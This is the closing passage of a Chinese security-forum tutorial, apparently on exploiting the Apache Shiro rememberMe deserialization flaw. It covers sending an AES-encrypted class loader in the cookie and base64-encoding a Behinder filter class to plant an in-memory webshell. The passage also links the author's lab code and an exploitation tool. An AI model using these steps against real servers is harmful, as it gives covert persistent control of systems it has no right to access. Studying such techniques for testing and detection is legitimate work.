    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}
最后测试就是生成用shiroAES+base64加密后的ClassDataLoader.java,放入rememberMe
再生成BehinderFilter.classbase64放入classData参数中
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'
发送后使用冰蝎即可连接成功
四、最后
感谢P神,木头神的实验环境,帮了我很大的忙,本文中的涉及的实验环境和代码我都放在了github中,需要可以自行下载
https://github.com/yyhuni/shiroMemshell
在此篇文章原理的基础上,我随便写了一款shiro的综合利用工具
https://github.com/yyhuni/shiroATK
参考:
https://www.cnblogs.com/bitterz/p/14820898.html
https://xz.aliyun.com/t/9914
https://xz.aliyun.com/t/2744
Java代码执行漏洞中类动态加载的应用
tomcat结合shiro无文件webshell的技术研究以及检测方法
Shiro 550 漏洞学习 ():内存马注入及回显
https://github.com/c0ny1/java-object-searcher
https://blog.xray.cool/post/how-to-find-shiro-rememberme-deserialization-vulnerability/


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 04:55 , Processed in 0.017154 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表